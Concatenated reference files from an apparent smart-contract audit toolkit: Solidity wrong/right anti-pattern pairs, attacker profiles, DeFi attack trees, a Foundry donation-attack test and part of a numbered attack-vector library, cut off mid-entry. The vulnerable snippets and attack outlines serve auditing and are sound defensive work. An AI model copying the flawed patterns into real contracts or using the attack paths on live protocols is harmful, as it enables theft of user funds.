Missing Sender Binding ```solidity // ❌ WRONG: Merkle leaf without msg.sender bytes32 leaf = keccak256(abi.encodePacked(amount)); // front-runnable // ✅ RIGHT: Bind to caller bytes32 leaf = keccak256(abi.encodePacked(msg.sender, amount)); ``` --- ## 9. Cross-Chain Anti-Patterns ### 9.1 Missing Peer Validation ```solidity // ❌ WRONG: No origin validation function lzReceive(Origin calldata _origin, bytes calldata _message) external { _processMessage(_message); // anyone can call with fake message } // ✅ RIGHT: Validate endpoint + peer require(msg.sender == address(endpoint), "Not endpoint"); require(_origin.sender == peers[_origin.srcEid], "Unknown peer"); ``` ### 9.2 Missing Rate Limits ```solidity // ❌ WRONG: Unlimited cross-chain transfers function _credit(address to, uint256 amount) internal { _mint(to, amount); // no cap — single exploit drains everything } // ✅ RIGHT: Rate-limited with circuit breaker require(amount <= maxPerTx, "Exceeds per-tx limit"); require(windowTotal + amount <= maxPerWindow, "Exceeds window limit"); ``` --- ## 10. DoS Anti-Patterns ### 10.1 Unbounded Loop ```solidity // ❌ WRONG: User-growable array for (uint i = 0; i < users.length; i++) { /* process */ } // ✅ RIGHT: Bounded with MAX or pagination require(users.length <= MAX_USERS); ``` ### 10.2 Push Payment to Unknown Address ```solidity // ❌ WRONG: Reverting recipient blocks everyone for (uint i = 0; i < recipients.length; i++) { payable(recipients[i]).transfer(amounts[i]); // one revert blocks all } // ✅ RIGHT: Pull pattern or try/catch mapping(address => uint256) pendingWithdrawals; function claim() external { /* pull pattern */ } ``` --- ## 11. Assembly Anti-Patterns ### 11.1 Missing Return Data Check ```solidity // ❌ WRONG: No returndatasize check assembly { let success := staticcall(gas(), token, ptr, 4, ptr, 32) let result := mload(ptr) // reads stale memory if returndatasize < 32 } // ✅ RIGHT: Check returndatasize assembly { let success := staticcall(gas(), token, ptr, 4, ptr, 32) if lt(returndatasize(), 32) { revert(0, 0) } let result := mload(ptr) } ``` ### 11.2 Free Memory Pointer Corruption ```solidity // ❌ WRONG: Writing to fixed offset without updating fmp assembly { mstore(0x80, value) } // overwrites Solidity allocation region // ✅ RIGHT: Use free memory pointer assembly { let ptr := mload(0x40) mstore(ptr, value) mstore(0x40, add(ptr, 0x20)) // update fmp } ``` ### 11.3 Dirty Higher-Order Bits ```solidity // ❌ WRONG: No mask on address from calldata assembly { let addr := calldataload(4) } // upper 96 bits may be dirty // ✅ RIGHT: Mask to 160 bits assembly { let addr := and(calldataload(4), 0xffffffffffffffffffffffffffffffffffffffff) } ``` --- ## 12. DeFi Composability Anti-Patterns ### 12.1 Hardcoded External Protocol Behavior ```solidity // ❌ WRONG: Assumes external protocol never changes uint256 fee = IProtocol(PROTOCOL).fee(); // hardcoded assumption: fee <= 1% uint256 netAmount = amount - (amount * fee / 10000); // Protocol upgrades fee to 5% → netAmount calculation breaks // ✅ RIGHT: Validate external return values uint256 fee = IProtocol(PROTOCOL).fee(); require(fee <= MAX_EXPECTED_FEE, "Fee exceeds safety bound"); ``` ### 12.2 Unvalidated External Return Data ```solidity // ❌ WRONG: Trusting external protocol return value (bool success, bytes memory data) = externalProtocol.call(payload); require(success); uint256 returnedAmount = abi.decode(data, (uint256)); deposits[user] += returnedAmount; // blindly trusts external value // ✅ RIGHT: Measure actual balance change uint256 before = token.balanceOf(address(this)); (bool success,) = externalProtocol.call(payload); require(success); uint256 after = token.balanceOf(address(this)); deposits[user] += after - before; // verify actual received ``` ### 12.3 External Protocol Pause/Upgrade Survival ```solidity // ❌ WRONG: No fallback when external protocol pauses function withdraw() external { uint256 assets = IStrategy(strategy).redeem(shares); // reverts if strategy paused token.transfer(msg.sender, assets); // never reached } // ✅ RIGHT: Graceful degradation function withdraw() external { try IStrategy(strategy).redeem(shares) returns (uint256 assets) { token.transfer(msg.sender, assets); } catch { // Fallback: return deposited amount minus fee _emergencyWithdraw(msg.sender, shares); } } ``` --- ## 13. Permit Anti-Patterns ### 13.1 No try/catch on Permit (Front-Running Griefing) ```solidity // ❌ WRONG: Permit reverts entire tx if front-run function depositWithPermit(uint256 amount, uint256 deadline, uint8 v, bytes32 r, bytes32 s) external { token.permit(msg.sender, address(this), amount, deadline, v, r, s); // reverts if front-run token.transferFrom(msg.sender, address(this), amount); } // ✅ RIGHT: Graceful permit handling function depositWithPermit(uint256 amount, uint256 deadline, uint8 v, bytes32 r, bytes32 s) external { try token.permit(msg.sender, address(this), amount, deadline, v, r, s) {} catch {} // Permit may have been front-run, but allowance might already exist token.transferFrom(msg.sender, address(this), amount); } ``` ### 13.2 Permit with Max Deadline ```solidity // ❌ WRONG: Permanent authorization token.permit(owner, spender, amount, type(uint256).max, v, r, s); // Leaked signature = permanent drain authority // ✅ RIGHT: Short-lived permit token.permit(owner, spender, amount, block.timestamp + 1 hours, v, r, s); ``` --- ## 14. ERC4626 Anti-Patterns ### 14.1 Wrong maxDeposit When Paused ```solidity // ❌ WRONG: Reports max deposit even when paused function maxDeposit(address) public view returns (uint256) { return type(uint256).max; // always reports max, even when paused } // Integrating protocol calls maxDeposit → gets max → calls deposit → reverts // ✅ RIGHT: Respect paused state function maxDeposit(address) public view returns (uint256) { return paused() ? 0 : type(uint256).max; } ``` ### 14.2 Missing Dead Shares (First Depositor Attack) ```solidity // ❌ WRONG: No inflation protection function _convertToShares(uint256 assets) internal view returns (uint256) { return totalSupply == 0 ? assets : assets * totalSupply / totalAssets; // First depositor: deposit 1 wei → donate 1e18 → next depositor gets 0 shares } // ✅ RIGHT: Virtual shares offset (OZ approach) function _convertToShares(uint256 assets) internal view returns (uint256) { return Math.mulDiv(assets + 1, totalSupply + 10 ** _decimalsOffset(), totalAssets + 1); } ``` ### 14.3 Preview/Actual Divergence ```solidity // ❌ WRONG: previewDeposit doesn't match deposit function previewDeposit(uint256 assets) public view returns (uint256) { return _convertToShares(assets); // doesn't account for fees } function deposit(uint256 assets, address receiver) public returns (uint256 shares) { uint256 fee = assets * feeRate / 10000; shares = _convertToShares(assets - fee); // fee applied here but not in preview! } // ✅ RIGHT: Preview matches actual function previewDeposit(uint256 assets) public view returns (uint256) { uint256 fee = assets * feeRate / 10000; return _convertToShares(assets - fee); // same logic as deposit } ``` ## references/attack-modeling.md # Attack Modeling Attacker capability profiles, attack tree construction, and cross-function interaction analysis. Use during Phase 3 (HUNT) and Phase 4 (ATTACK) of the VeerSkills pipeline. --- ## Module 5: Attacker Capability Profiles ### Profile 1: Retail Attacker ($1k-$100k) ``` Capital: $1,000 – $100,000 Tools: Etherscan, MEV bots (borrowed/rented), standard flash loans via UI Skill Level: Can deploy contracts from templates, use existing exploit scripts Flash Loans: Via interfaces (Aave, dYdX, Balancer) Time Horizon: Single transaction or small sequence Detection Risk: Low (standard transactions blend in) Motivation: Direct profit from known vulnerability patterns ``` **What to test**: Can any known vulnerability be exploited with < $100k and standard tooling? ### Profile 2: Whale Attacker ($100k-$10M) ``` Capital: $100,000 – $10,000,000 Tools: Custom contracts, private flash loan providers, oracle manipulation Skill Level: Reverse engineering, custom exploit development Flash Loans: Direct protocol interactions, multi-step flash loans Time Horizon: Hours to days of preparation, multi-tx attack sequences Detection Risk: Medium (unusual activity may be noticed) Motivation: Large-scale DeFi exploitation, market manipulation ``` **What to test**: Can oracle prices be moved? Can governance be attacked? Can multi-step sequences extract value? ### Profile 3: Nation-State / Organized Crime ($10M+) ``` Capital: $10,000,000+ Tools: Zero-day exploitation, social engineering, insider compromise Skill Level: World-class, access to unreleased vulnerabilities Flash Loans: Unlimited via own liquidity + lending protocols Time Horizon: Weeks to months of preparation Detection Risk: Managed (operational security, laundering infrastructure) Motivation: Strategic disruption, massive theft, sanctions evasion ``` **What to test**: Bridge exploits, consensus-level attacks, compound vulnerability chains ### Profile 4: MEV Bot (Flash Loan Backed) ``` Capital: Functionally unlimited (flash loans) Tools: Searcher infrastructure, private mempools, block builder relationships Skill Level: Automated, optimized for speed and gas efficiency Flash Loans: Integrated into every transaction Time Horizon: Single transaction (atomic) Detection Risk: Negligible (looks like normal DeFi activity) Motivation: Risk-free arbitrage, sandwich attacks, liquidation sniping ``` **What to test**: Sandwich vulnerability, frontrunning, transaction ordering dependence --- ## Threat Matrix Template ```markdown | # | Threat | Attacker Profile | Likelihood | Impact | Risk Score | Mitigation | Status | |---|--------|-----------------|------------|--------|------------|------------|--------| | T1 | Share inflation | Retail | High | Critical | 🔴 P0 | Virtual offset | ❌ Missing | | T2 | Oracle manipulation | Whale | Medium | High | 🟠 P1 | TWAP + bounds | ✅ Present | | T3 | Sandwich attack | MEV Bot | High | Medium | 🟡 P2 | Slippage check | ⚠️ Partial | | T4 | Governance takeover | Nation-State | Low | Critical | 🟡 P2 | Timelock + quorum | ✅ Present | | T5 | Reentrancy drain | Retail | Medium | Critical | 🟠 P1 | ReentrancyGuard | ✅ Present | ``` --- ## Module 6: Attack Tree Construction ### Branch 1: Direct Exploits ``` GOAL: Extract funds without authorization ├── 1.1 Reentrancy │ ├── 1.1.1 Classic single-function [RE-1] │ ├── 1.1.2 Cross-function [RE-2] │ ├── 1.1.3 Cross-contract [RE-3] │ ├── 1.1.4 Read-only [RE-4] │ └── 1.1.5 Callback-triggered [RE-5] ├── 1.2 Access Control Bypass │ ├── 1.2.1 Missing modifier [AC-1] │ ├── 1.2.2 tx.origin phishing [AC-2] │ ├── 1.2.3 Unprotected initialize [AC-3] │ ├── 1.2.4 Role escalation [AC-4] │ └── 1.2.5 Signature replay [AC-5] ├── 1.3 Arithmetic Exploits │ ├── 1.3.1 Overflow in unchecked [AR-1] │ ├── 1.3.2 Precision loss in division [AR-2] │ ├── 1.3.3 Rounding direction abuse [AR-3] │ ├── 1.3.4 Truncation on downcast [AR-4] │ └── 1.3.5 Division by zero [AR-5] └── 1.4 Proxy/Upgrade Exploits ├── 1.4.1 Storage collision [UP-1] ├── 1.4.2 Implementation takeover [UP-2] ├── 1.4.3 UUPS auth bypass [UP-3] ├── 1.4.4 Init front-running [UP-4] └── 1.4.5 Migration corruption [UP-5] ``` ### Branch 2: Economic Exploits ``` GOAL: Extract value through economic manipulation ├── 2.1 Oracle Manipulation │ ├── 2.1.1 Spot price flash loan [OR-1] │ ├── 2.1.2 Stale price exploitation [OR-2] │ ├── 2.1.3 Oracle failure exploitation [OR-3] │ ├── 2.1.4 Heartbeat mismatch [OR-4] │ └── 2.1.5 Donation attack on price [OR-5] ├── 2.2 Flash Loan Amplification │ ├── 2.2.1 Share inflation attack [EC-2] │ ├── 2.2.2 Balance-based price manipulation [EC-1] │ └── 2.2.3 Collateral ratio manipulation ├── 2.3 MEV Extraction │ ├── 2.3.1 Sandwich attacks [EC-3] │ ├── 2.3.2 Frontrunning liquidations │ └── 2.3.3 Just-in-time liquidity └── 2.4 Incentive Gaming ├── 2.4.1 Free option exploitation [EC-5] ├── 2.4.2 Fee-on-transfer arbitrage [EC-4] └── 2.4.3 Reward farming without risk ``` ### Branch 3: Governance Attacks ``` GOAL: Take control of protocol parameters or funds ├── 3.1 Proposal Manipulation │ ├── 3.1.1 Flash loan voting │ ├── 3.1.2 Vote buying │ └── 3.1.3 Proposal spam DoS ├── 3.2 Upgrade Attacks │ ├── 3.2.1 Malicious implementation │ ├── 3.2.2 Timelock bypass │ └── 3.2.3 Proxy admin takeover └── 3.3 Parameter Attacks ├── 3.3.1 Fee parameter manipulation ├── 3.3.2 Oracle address swap └── 3.3.3 Whitelist manipulation ``` ### Branch 4: Systemic Risks ``` GOAL: Exploit cross-protocol or ecosystem-level vulnerabilities ├── 4.1 Cross-Protocol Contagion │ ├── 4.1.1 Composability failure cascade │ ├── 4.1.2 Shared oracle dependency │ └── 4.1.3 Correlated liquidation spiral ├── 4.2 Cross-Chain Attacks │ ├── 4.2.1 Bridge message forgery [CO-3] │ ├── 4.2.2 Replay across chains │ └── 4.2.3 Sequencer manipulation (L2) └── 4.3 Infrastructure Risks ├── 4.3.1 RPC manipulation ├── 4.3.2 Block builder censorship └── 4.3.3 MEV supply chain attacks ``` --- ## Module 8: Cross-Function Interaction Sequences ### Critical Sequences to Test Every DeFi protocol must be tested with these multi-call sequences: #### Sequence 1: Deposit → Price Manipulation → Withdraw ``` 1. User deposits assets, receives shares 2. Attacker manipulates asset price (oracle, donation, flash loan) 3. User withdraws — do they get correct value? TESTS: Does share/asset ratio survive manipulation? ``` #### Sequence 2: Multiple Deposits → Rounding → Withdraw All ``` 1. User makes N small deposits 2. Each deposit rounds down by 1 wei in shares 3. User withdraws all shares TESTS: Is accumulated rounding loss > dust threshold? ``` #### Sequence 3: Deposit → Upgrade → Withdraw ``` 1. User deposits before proxy upgrade 2. Admin upgrades implementation 3. User withdraws after upgrade TESTS: Does storage layout change corrupt user balances? ``` #### Sequence 4: Deposit → Pause → Emergency Withdraw ``` 1. User deposits during normal operation 2. Admin pauses protocol 3. User attempts emergency withdrawal TESTS: Can user recover funds during pause? ``` #### Sequence 5: Flash Loan → Deposit → Borrow → Repay ``` 1. Attacker flash loans large amount 2. Deposits into protocol (inflates collateral) 3. Borrows against inflated collateral 4. Repays flash loan TESTS: Does protocol check pre-flash-loan balances? ``` #### Sequence 6: Grant Role → Execute → Revoke Role ``` 1. Admin grants role to address 2. Address executes privileged action 3. Role is revoked TESTS: Is there a timelock? Can action be front-run? Is revocation effective? ``` ### Sequence Test Template (Foundry) ```solidity function test_sequence_deposit_manipulate_withdraw() public { // Phase 1: Normal deposit vm.prank(user); vault.deposit(1000e18, user); uint256 sharesBefore = vault.balanceOf(user); // Phase 2: Manipulation attempt vm.prank(attacker); token.transfer(address(vault), 1000000e18); // Donation attack // Phase 3: Withdrawal vm.prank(user); uint256 assetsReceived = vault.redeem(sharesBefore, user, user); // Verify: User should get proportional assets, not be sandwiched assertGe(assetsReceived, 1000e18, "User lost funds to manipulation!"); } ``` ### Leaf Node Analysis Template For each attack tree leaf node: ``` | Leaf | Feasibility | Capital | Complexity | Detection | Mitigation | Priority | |------|------------|---------|------------|-----------|------------|----------| | 1.1.1 | High | $0 (flash) | Low | Low | ReentrancyGuard | P0 | | 2.1.1 | Medium | $1M+ | Medium | Medium | TWAP oracle | P1 | ``` ## references/attack-trees.md # Systematic Attack Trees This reference file contains deep, systematic decision paths (attack trees) to navigate vulnerability hunting across specific protocol types. By mapping these trees against target logic, you can systematically close the audit space. --- ## 1. Lending Protocols Attack Tree Navigating the attack vector landscape of collateralized debt positions (CDPs) and isolated lending pools. **[ROOT] GOAL: Extract Value from Lending Markets** ├── **[BRANCH A] Oracle Manipulation** │ ├── [Leaf] Manipulate Spot Price via Flash Loan (e.g., Uniswap V2 reserve imbalance) │ │ └── *Condition:* Protocol uses `getReserves()` instead of TWAP. │ ├── [Leaf] Trigger Stale Price Disconnect (e.g., Sequencer downtime) │ │ └── *Condition:* Protocol bypasses Chainlink latestRoundData `updatedAt` checks. │ └── [Leaf] Exploit Oracle Precision │ └── *Condition:* Decimals mismatch between USD oracle (8d) and Token oracle (18d). ├── **[BRANCH B] Liquidation Exploits** │ ├── [Leaf] Front-run Liquidation │ │ └── *Condition:* Liquidator can see mempool Tx and use higher gas to snipe bounty. │ ├── [Leaf] Bad Debt Accumulation / Death Spiral │ │ └── *Condition:* Liquidation incentive is lower than gas cost on high-throughput chains. │ ├── [Leaf] Self-Liquidation Arbitrage (Euler style) │ │ └── *Condition:* Attacker can intentionally diminish their own health factor via un-checked collat removal. │ └── [Leaf] Liquidation Pause DOS │ └── *Condition:* Reverting callback in ERC777/ERC721 transferred to the liquidator target blocks liquidation loop. ├── **[BRANCH C] Accounting / Invariant Manipulation** │ ├── [Leaf] Vault Inflation Attack / First-Depositor Sniping │ │ └── *Condition:* ERC4626 standard utilizes initial 1 wei deposit; attacker front-runs and donates 1000 ETH to snap share exchange rate. │ ├── [Leaf] Precision Loss / Rounding Errors │ │ └── *Condition:* Interest accrual uses `mulDivDown` instead of `mulDivUp` for debt. │ ├── [Leaf] Reentrancy on Withdrawal │ │ └── *Condition:* Token has `beforeTokenTransfer` hook; contract updates state after the hook execution. │ └── [Leaf] Interest Rate Model Exploit │ └── *Condition:* Kink curves allow massive localized borrowing to break APY math. --- ## 2. DEX / AMM Protocol Attack Tree Navigating vulnerabilities in constant-product market makers (CPMMs) and concentrated liquidity pools. **[ROOT] GOAL: Extract LP Funds or Drain Swaps** ├── **[BRANCH A] Pricing Math Exploits** │ ├── [Leaf] K-Value Invariant Violation │ │ └── *Condition:* Custom math library allows `reserve0 * reserve1` to decrease after a swap. │ ├── [Leaf] Concentration Tick Manipulation │ │ └── *Condition:* Uniswap V3 custom oracle rounding allows tick mapping exhaustion. │ └── [Leaf] Fee Calculation Rounding │ └── *Condition:* Zero-fee loop on micro-swaps extracts protocol liquidity token-by-token. ├── **[BRANCH B] Toxic Token Pairings** │ ├── [Leaf] Fee-On-Transfer Imbalance │ │ └── *Condition:* AMM tracks `balanceOf` instead of `amountReceived`; swap credits the pre-fee amount. │ ├── [Leaf] Rebasing Token Drain │ │ └── *Condition:* AMM doesn't call `sync()` internally when internal balances deflate/rebase. │ └── [Leaf] ERC777 Reentrancy │ └── *Condition:* Pair contract updates reserves after triggering sender's fallback. ├── **[BRANCH C] MEV & Arbitrage** │ ├── [Leaf] Just-in-Time (JIT) Liquidity Provisioning │ │ └── *Condition:* LP observes large pending swap, mints LP to intercept fees, then withdraws instantly. │ └── [Leaf] Uncapped Slippage (Sandwich Attack) │ └── *Condition:* `amountOutMinimum` or `deadline` checks are zeroed or hardcoded to block.timestamp. --- ## 3. Bridge / Cross-Chain Protocol Attack Tree Navigating the attack space of wrapped token minting and cross-chain messaging. **[ROOT] GOAL: Mint Unbacked Assets or Drain Escrow Vault** ├── **[BRANCH A] Cryptographic Verification Flaws** │ ├── [Leaf] Hash Collisions / Replay Attacks │ │ └── *Condition:* Nonces or ChainIDs are missing from the signed message hash payload. │ ├── [Leaf] Forged Merkle Proofs │ │ └── *Condition:* Uninitialized root hash allows empty bytes32 verification. │ └── [Leaf] Signature Spoofing / Malleability │ └── *Condition:* Protocol uses `ecrecover` directly and doesn't check for S-value malleability. ├── **[BRANCH B] Validator Compromise** │ ├── [Leaf] Single-Point-of-Failure Storage │ │ └── *Condition:* Keeper private keys stored in hot wallets or plaintext centralized environments. │ └── [Leaf] Unsafe Administrative Upgrades │ └── *Condition:* 1-of-1 multisig can upgrade the bridge implementation contract without a timelock. ├── **[BRANCH C] Interchain Message Decoupling** │ ├── [Leaf] Phantom Mints │ │ └── *Condition:* Contract allows `deposit()` without locking the corresponding target chain collateral. │ └── [Leaf] Decimal Mismatch Extraction │ └── *Condition:* Bridging from 18 decimal chain to 6 decimal chain truncates 12 zeroes maliciously. --- ## 4. Yield Aggregator / Vault Attack Tree **[ROOT] GOAL: Steal Yield or Dilute Existing Users** ├── **[BRANCH A] Share Math Vulnerabilities** │ ├── [Leaf] ERC4626 Inflation (Donation Attack) │ │ └── *Condition:* Empty vault mints 1 share, attacker donates huge sum directly to vault, subsequent depositors get zero shares due to integer truncation. │ └── [Leaf] Share Price Manipulation via External Oracles │ └── *Condition:* Vault asset pricing relies on spot DEX balance rather than total assets locked in strategy. ├── **[BRANCH B] Strategy Flaws** │ ├── [Leaf] Reward Token Sniping │ │ └── *Condition:* Reward distribution lacks a time-weighted mechanism; user deposits right before harvest, takes rewards, and leaves. │ └── [Leaf] Flash Loan Dilution │ └── *Condition:* Vault updates yield checkpoints synchronously in the same block as deposits. ## references/attack-vectors.md # VeerSkills Attack Vector Library _280 attack vectors with Detection (D) and False-Positive (FP) markers. Sourced from real audit findings across Code4rena, Sherlock, Cyfrin, and 20+ platforms. V171-V210: Extended EVM from solidity-auditor-skills. V211-V255: Chain-specific vectors (see chain-deep-*.md for deep methodology). V256-V280: Permit2, V4 Hooks, AA, Composability (2024-2026 findings)._ ## Table of Contents - [How to Use](#how-to-use) - [Agent 1: Reentrancy + Access Control + Proxy/Upgrade (V1–V42)](#agent-1-vectors-v1v42-reentrancy--access-control--proxyupgrade) - [Agent 2: Arithmetic + Oracle + Token Standards (V43–V84)](#agent-2-vectors-v43v84-arithmetic--oracle--token-standards) - [Agent 3: DoS + Economic + Flash Loan + Cross-Chain (V85–V126)](#agent-3-vectors-v85v126-dos--economic--flash-loan--cross-chain) - [Agent 4: Signature + Encoding + Assembly + Protocol-Specific (V127–V170)](#agent-4-vectors-v127v170-signature--encoding--assembly--protocol-specific) - [Agent 5: Extended EVM — DeFi, L2, Staking (V171–V210)](#agent-5-vectors-v171v210-extended-evm--defi-lending-l2-staking-behavioral) - [Agent 6: Chain-Specific — Solana/Move/TON/Cosmos/Cairo (V211–V255)](#agent-6-vectors-v211v255-chain-specific--solana--move--ton--cosmos--cairo) - [Agent 7: Extended — Permit2, Hooks, AA, Composability (V256–V280)](#agent-7-vectors-v256v280-extended--permit2-hooks-aa-composability) ## How to Use Each agent is assigned a vector range. During the **HUNT** phase: 1. **Triage**: Classify each vector as Skip / Borderline / Survive 2. **Deep pass**: Only analyze surviving vectors using the structured one-liner format 3. **Confirm**: Apply the FP Gate from `fp-gate.md` before reporting --- ## Agent 1 Vectors (V1–V42): Reentrancy + Access Control + Proxy/Upgrade --- **V1. Signature Malleability** — D: Raw `ecrecover` without `s <= 0x7FFF...20A0` validation. Both `(v,r,s)` and `(v',r,s')` recover same address. Bypasses signature-based dedup. FP: OZ `ECDSA.recover()` used. Message hash used as dedup key. **V2. ERC721Consecutive Balance Corruption** — D: OZ `ERC721Consecutive` (<4.8.2) + `_mintConsecutive(to, 1)` — size-1 batch fails to increment balance. FP: OZ >= 4.8.2. Batch size always >= 2. **V3. Same-Block Deposit-Withdraw Exploiting Snapshot Benefits** — D: Protocol calculates yield/rewards/voting power based on single snapshot point. No minimum lock period. Flash-loan deposit → snapshot → withdraw in one tx. FP: `getPastVotes(block.number - 1)`. Minimum holding period enforced. **V4. Token Decimal Mismatch in Cross-Token Arithmetic** — D: Cross-token math uses hardcoded `1e18` or assumes identical decimals without per-token `decimals()` normalization. FP: Amounts normalized to canonical precision using `decimals()`. **V5. Block Timestamp Dependence** — D: `block.timestamp` used for game outcomes, randomness, or auction timing where ~15s manipulation changes outcome. FP: Timestamp used only for hour/day-scale periods. **V6. Beacon Proxy Single-Point-of-Failure Upgrade** — D: Multiple proxies read implementation from single Beacon. Compromising Beacon owner upgrades all proxies at once. FP: Beacon owner is multisig + timelock. **V7. lzCompose Sender Impersonation** — D: `lzCompose` does not validate `msg.sender == endpoint` or `_from` parameter against expected OFT address. FP: Both endpoint and OFT address validated. **V8. Invariant/Cap Enforced on One Path But Not Another** — D: A constraint (pool cap, max supply, position limit) is enforced during normal operation but not during settlement, reward distribution, or emergency paths. FP: Invariant check in shared modifier called by all paths. **V9. msg.value Reuse in Loop/Multicall** — D: `msg.value` read inside a loop or `delegatecall`-based multicall. Each iteration sees full original value — credits `n * msg.value` for one payment. FP: `msg.value` captured to local variable, decremented per iteration. **V10. Zero-Amount Transfer Revert** — D: `token.transfer(to, amount)` where `amount` can be zero. Some tokens (LEND, early BNB) revert on zero-amount transfers, DoS-ing distribution loops. FP: `if (amount > 0)` guard before all transfers. **V11. ERC1155 safeBatchTransferFrom Unchecked Array Lengths** — D: Custom `_safeBatchTransferFrom` iterates without `require(ids.length == amounts.length)`. FP: OZ ERC1155 base used unmodified. **V12. ERC721/ERC1155 Callback Reentrancy** — D: `safeTransferFrom`/`safeMint` called before state updates. Callbacks enable reentry. FP: All state committed before safe transfer. `nonReentrant` applied. **V13. Depeg of Pegged Asset Breaking Protocol Assumptions** — D: Protocol assumes 1:1 peg (stETH:ETH, WBTC:BTC) without depeg tolerance or independent oracle. FP: Independent price feed per asset. Configurable depeg threshold. **V14. Missing onERC1155BatchReceived Causes Token Lock** — D: Contract implements `onERC1155Received` but not `onERC1155BatchReceived`. FP: Both callbacks implemented. Inherits OZ `ERC1155Holder`. **V15. Missing or Incorrect Access Modifier** — D: State-changing function has no access guard or modifier references uninitialized variable. FP: Function is intentionally permissionless with non-critical impact. **V16. extcodesize Zero in Constructor** — D: `require(msg.sender.code.length == 0)` as EOA check. Contract constructors bypass it. FP: Protected by merkle proof or signed permit. **V17. Solmate SafeTransferLib Missing Contract Existence Check** — D: Protocol uses Solmate's `SafeTransferLib`. Unlike OZ, Solmate does not verify target contains code. FP: OZ `SafeERC20` used. Manual code length check present. **V18. Re-initialization Attack** — D: V2 uses `initializer` instead of `reinitializer(2)`. Or upgrade resets initialized counter. FP: `reinitializer(version)` with correctly incrementing versions. **V19. ERC1155 uri() Missing {id} Substitution** — D: `uri(uint256 id)` returns fully resolved URL instead of template with `{id}` placeholder. FP: Returns string containing literal `{id}`. **V20. Immutable Variable Context Mismatch** — D: Implementation uses `immutable` variables embedded in bytecode. Proxy `delegatecall` gets implementation's hardcoded values. FP: Immutable values intentionally identical across all proxies. **V21. validateUserOp Signature Not Bound to nonce/chainId** — D: `validateUserOp` reconstructs digest manually omitting `userOp.nonce` or `block.chainid`. Enables replay. FP: Digest from `entryPoint.getUserOpHash(userOp)`. **V22. Blacklistable/Pausable Token in Critical Payment Path** — D: Push-model transfer with USDC/USDT. Blacklisted recipient reverts entire function. FP: Pull-over-push pattern. Skip-on-failure `try/catch`. **V23. Improper Flash Loan Callback Validation** — D: `onFlashLoan` callback doesn't verify `msg.sender == lendingPool` or check `initiator`/`token`/`amount`. FP: Both `msg.sender` and `initiator` validated. **V24. Cross-Chain Deployment Replay** — D: Deployment tx replayed on another chain. Same deployer nonce produces same CREATE address. FP: EIP-155 signatures. `CREATE2` via deterministic factory. **V25. DoS via Unbounded Loop** — D: Loop over user-growable unbounded array. Eventually hits block gas limit. FP: Array length capped at insertion. **V26. Precision Loss — Division Before Multiplication** — D: `(a / b) * c` — truncation before multiplication amplifies error. FP: `a` provably divisible by `b`. **V27. ecrecover Returns address(0) on Invalid Signature** — D: Raw `ecrecover` without `require(recovered != address(0))`. FP: OZ `ECDSA.recover()` used. **V28. Function Selector Clash in Proxy** — D: Proxy and implementation share a 4-byte selector collision. FP: Transparent proxy pattern. UUPS with no custom proxy functions. **V29. CREATE2 Address Squatting** — D: CREATE2 salt not bound to `msg.sender`. Attacker precomputes and deploys first. FP: Salt incorporates `msg.sender`. **V30. Return Bomb (Returndata Copy DoS)** — D: `(bool success, bytes memory data) = target.call(payload)` with user-supplied target returns huge returndata. FP: Returndata not copied. Callee is hardcoded trusted. **V31. Immutable/Constructor Argument Misconfiguration** — D: Constructor sets `immutable` values that can't change post-deploy. No post-deploy verification. FP: Deployment script reads back and asserts values. **V32. Small-Type Arithmetic Overflow Before Upcast** — D: Arithmetic on `uint8`/`uint16` before assigning to wider type. Overflow in narrow type. FP: Operands explicitly upcast before operation. **V33. ERC4626 Missing Allowance Check in withdraw/redeem** — D: `withdraw`/`redeem` where `msg.sender != owner` but no allowance check. FP: `_spendAllowance` called unconditionally when `caller != owner`. **V34. mstore8 Partial Write Leaving Dirty Bytes** — D: `mstore8` writes single byte; subsequent `mload` reads full 32-byte word with stale bytes. FP: Full word zeroed before byte-level writes. **V35. Batch Distribution Dust Residual** — D: Loop distributes proportionally with cumulative rounding leaving dust locked in contract. FP: Last recipient gets `total - sumOfPrevious`. **V36. Arbitrary delegatecall in Implementation** — D: Implementation exposes `delegatecall` to user-supplied address. FP: Target is hardcoded immutable. **V37. Commit-Reveal Scheme Not Bound to msg.sender** — D: Commitment hash does not include `msg.sender`. Attacker copies victim's commitment. FP: Commitment includes sender. **V38. Delegate Privilege Escalation** — D: `setDelegate()` appoints address that can manage OApp configurations including DVNs, Executors. FP: Delegate == owner or governance timelock. **V39. Cross-Chain Supply Accounting Invariant Violation** — D: `total_locked_source >= total_minted_destination` invariant violated via decimal errors or race conditions. FP: Invariant monitored. Rate limits cap exposure. **V40. ERC1155 onERC1155Received Return Value Not Validated** — D: Custom ERC1155 calls `onERC1155Received` but doesn't check returned `bytes4`. FP: OZ ERC1155 base validates selector. **V41. Small Positions Unliquidatable (Bad Debt)** — D: Positions below threshold cost more gas to liquidate than the reward. Accumulate bad debt. FP: Minimum position size enforced at borrow time. **V42. Ordered Message Channel Blocking (Nonce DoS)** — D: Ordered nonce execution — if one message permanently reverts, ALL subsequent messages blocked. FP: Unordered nonce mode. `NonblockingLzApp` pattern. --- ## Agent 2 Vectors (V43–V84): Arithmetic + Oracle + Token Standards --- **V43. Self-Liquidation Profit Extraction** — D: Borrower liquidates own position from second address, collecting liquidation bonus. FP: `require(msg.sender != borrower)`. Penalty exceeds bonus. **V44. State-Time Lag Exploitation (lzRead Stale State)** — D: `lzRead` queries remote chain state with latency window. Protocol makes irreversible decisions on stale data. FP: Read targets immutable state. Result re-validated on-chain. **V45. Integer Overflow/Underflow** — D: Arithmetic in `unchecked {}` (>=0.8) without bounds check. Any arithmetic in <0.8 without SafeMath. FP: Range provably bounded by earlier checks. **V46. Function Selector Clashing (Proxy Backdoor)** — D: Proxy contains function whose 4-byte selector collides with implementation function. FP: Transparent proxy. UUPS with no custom functions. **V47. OFT Shared Decimals Truncation** — D: OFT converts between local/shared decimals. `uint64` cast silently truncates amounts exceeding ~18.4e18. FP: Standard OFT with default decimals. Transfer amounts validated. **V48. UUPS Upgrade Logic Removed in New Implementation** — D: New UUPS implementation doesn't inherit `UUPSUpgradeable`. Proxy permanently loses upgrade capability. FP: Every version inherits `UUPSUpgradeable`. **V49. ERC721 onERC721Received Arbitrary Caller Spoofing** — D: `onERC721Received` uses parameters to update state without verifying `msg.sender` is expected NFT contract. FP: `require(msg.sender == address(nft))`. **V50. ERC1155 totalSupply Inflation via Reentrancy** — D: `totalSupply[id]` incremented AFTER `_mint` callback. During callback, `totalSupply` is stale-low. FP: OZ >= 4.3.2. `nonReentrant` on all mint functions. **V51. Missing Nonce (Signature Replay)** — D: Signed message has no per-user nonce, or nonce never incremented after use. FP: 